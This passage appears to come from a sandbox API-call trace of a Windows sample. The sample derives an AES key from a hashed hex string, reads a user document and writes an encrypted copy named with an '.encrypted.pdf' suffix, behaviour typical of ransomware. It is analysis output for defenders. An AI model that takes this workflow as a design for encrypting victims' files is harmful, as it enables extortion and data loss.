lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b360, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0024.735] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.736] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b930, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0024.736] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.736] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.736] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.737] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417afa0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0024.737] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0024.737] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418ba80, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.738] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.738] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.738] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.738] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.739] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.739] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.739] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.739] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.740] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.740] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\lxe-5p6iu.encrypted.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.741] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.742] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.742] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x65a4, lpOverlapped=0x0) returned 1 [0024.743] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.744] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.745] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.745] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.745] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.745] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.745] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.745] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.746] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.746] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.746] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.746] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0024.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417ab80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0024.747] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0024.747] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064a60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.748] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.748] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.748] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.749] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x65a4, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x65b0) returned 1 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] CharLowerBuffW (in: lpsz="byte[26033]", cchLength=0xb | out: lpsz="byte[26033]") returned 0xb [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.750] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cd530*, pdwDataLen=0xe8f3dfdf68*=0x65a4, dwBufLen=0x65b0 | out: pbData=0xe8f41cd530*, pdwDataLen=0xe8f3dfdf68*=0x65b0) returned 1 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.750] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.750] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.750] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.752] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.752] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.752] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.753] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.753] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.753] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.753] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.753] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.753] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.753] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.754] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 